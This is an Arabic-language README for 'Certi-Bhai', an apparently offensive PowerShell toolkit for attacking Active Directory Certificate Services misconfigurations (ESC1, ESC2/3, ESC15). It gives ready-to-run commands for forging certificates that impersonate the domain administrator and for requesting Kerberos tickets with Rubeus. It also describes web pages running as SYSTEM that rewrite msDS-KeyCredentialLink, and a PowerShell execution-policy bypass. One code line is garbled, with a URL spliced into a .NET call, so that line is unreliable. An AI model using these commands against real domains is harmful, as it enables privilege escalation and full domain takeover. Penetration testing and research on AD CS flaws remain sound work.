Certi-Bhai: مجموعة أدوات استغلال AD CS

Certi-Bhai هي مجموعة شاملة من أدوات استغلال PowerShell لمهاجمة ثغرات خدمات شهادات الدليل النشط (AD CS). تنفذ هذه المجموعة سيناريوهات تصعيد مختلفة (ESCs) توضح التكوينات الأمنية الخاطئة الحرجة في بيئات ADCS.

📋 جدول المحتويات

• نظرة عامة
• هيكل الدليل
• المتطلبات الأساسية
• دليل الاستخدام
  • ESC1 - قالب شهادة متساهل بشكل مفرط
  • ESC2/3 - وكيل طلب الشهادة
  • ESC15 - تسجيل ويب ضعيف
  • توليد CSR
  • تصعيد الامتيازات في IIS

🎯 نظرة عامة

غالبًا ما تكون خدمات شهادات الدليل النشط (AD CS) مُهيأة بشكل خاطئ، مما يخلق نواقل هجوم متعددة. توفر Certi-Bhai نصوصًا وأدوات استغلال عملية للاختبار الأمني والبحث في ثغرات ADCS الشائعة.

استخدم بمسؤولية وفقط في بيئات الاختبار المصرح بها.

✅ المتطلبات الأساسية

• Windows 7 / Windows Server 2008 أو أحدث
• PowerShell 3.0+
• نظام منضم إلى مجال الدليل النشط
• صلاحيات مناسبة لطلب الشهادات
• الوصول إلى بنية AD CS التحتية
• .NET Framework 3.5+ (لنصوص ASP.NET)

الوحدات المطلوبة

# وحدة الدليل النشط (اختيارية، لتحسين الوظائف)
Import-Module ActiveDirectory

🚀 دليل الاستخدام

ESC1: قالب شهادة متساهل بشكل مفرط

الثغرة: تسمح قوالب الشهادات بالتسجيل بقيم SubjectAltName (SAN) عشوائية.

ما يفعله: ينشئ شهادة موقعة بواسطة قالب متساهل بشكل مفرط، مما يسمح لك بانتحال شخصية أي مستخدم أو جهاز كمبيوتر في المجال.

الاستخدام:

# الانتقال إلى دليل ESC1
cd ESC1

# تشغيل سيناريو الاستغلال
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
           -templateName "vuln" `
           -altName "administrator" `
           -pfxPass "password123"

المعلمات:

• -subjectName: الاسم المميز الكامل (DN) للمستخدم المستهدف
• -templateName: اسم قالب الشهادة الضعيف
• -altName: الاسم البديل المطلوب طلبه (اسم مستخدم/جهاز كمبيوتر)
• -pfxPass: كلمة مرور لتصدير PFX

المخرجات: شهادة PFX بترميز Base64 للاستخدام مع أدوات مثل Rubeus

فيديو تعليمي: https://www.youtube.com/watch?v=l0gMw_mO4dw

ESC2/3: إساءة استخدام وكيل طلب الشهادة لأي غرض

الثغرة: يمكن لوكلاء طلب الشهادات طلب شهادات نيابة عن أي مستخدم.

ما يفعله: يسجل شهادة كوكيل طلب شهادات، ثم يطلب شهادات لأي جهات رئيسية.

الاستخدام:

# الانتقال إلى دليل ESC3
cd ESC3

# تشغيل سيناريو الاستغلال
.
\esc3_working.ps1 -templateName "CEOTemplate" `
                   -target_user "administrator" `
                   -domain "INDISHELL" `
                   -pfxPass "password123"

المعلمات:

• -templateName: قالب وكيل الطلب الضعيف
• -target_user: الجهة الرئيسية المطلوب طلب شهادة لها
• -domain: اسم المجال
• -pfxPass: كلمة مرور PFX

المخرجات: شهادة مسؤول (PFX) بترميز base64

فيديو تعليمي: https://www.youtube.com/watch?v=fGjrM-JKnoM

ESC15: قالب إصدار مخطط 1 مُهيأ بشكل خاطئ

الثغرة: حقن سياسة التطبيق.

توليد وإدارة CSR

توليد CSR سريع

cd CSR_Generate

# توليد طلب توقيع شهادة
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
                -altName "admin"

إرسال CSR إلى سلطة الشهادات

# إرسال CSR إلى سلطة الشهادات
.
\csr_submit.ps1 -csr $csr `
                 -templateName "User" `
                 -caServer "ca-server.domain.local"

تصعيد الامتيازات في IIS

واجهة إدارة الشهادات

توفر واجهة الويب cert.aspx نموذجًا سهل الاستخدام لطلب شهادة من نقطة نهاية AD CS RPC:

http://your-iis-server/cert.aspx

واجهة تحديث LDAP

تعديل سمات LDAP من خلال واجهة الويب. يُستخدم هذا السيناريو أساسًا لحقن blob في سمة msDS-KeyCredentialLink:

http://your-iis-server/ldap_update.aspx

الميزات:

• تصفية سمات LDAP
• إمكانيات تعديل الكائنات
• تنفيذ بسياق NT Authority\SYSTEM

أوامر مرجعية سريعة

لاستغلال ESC1

.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
                -templateName "User" `
                -altName "administrator" `
                -pfxPass "P@ssw0rd!"

لمرحلة ما بعد الاستغلال ESC2/3

# تحويل PFX إلى تنسيق قابل للاستخدام مع Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)

طلب TGT مع Rubeus

Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap

🔧 استكشاف الأخطاء وإصلاحها

المشكلات الشائعة

س: تنفيذ السيناريو محظور

# تشغيل PowerShell كمسؤول
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

س: قالب الشهادة غير موجود

• تحقق من صحة اسم القالب
• تأكد من أن لديك صلاحيات الطلب من القالب
• تحقق من سجلات سلطة الشهادات

س: فشل اتصال LDAP

• تحقق من اتصال المجال
• تحقق من بيانات الاعتماد
• تأكد من وصول ADSI

📝 التفاصيل الفنية

عملية طلب الشهادة

1. توليد مفتاح خاص (RSA 2048-بت)
2. إنشاء طلب شهادة (PKCS#10)
3. تعيين اسم الموضوع والامتدادات
4. الإرسال إلى سلطة الشهادات
5. استرداد الشهادة الصادرة
6. التصدير كـ PFX مع كلمة مرور

🤝 المساهمة

وجدت مشكلة أو لديك تحسينات؟ يرجى الإبلاغ بمسؤولية.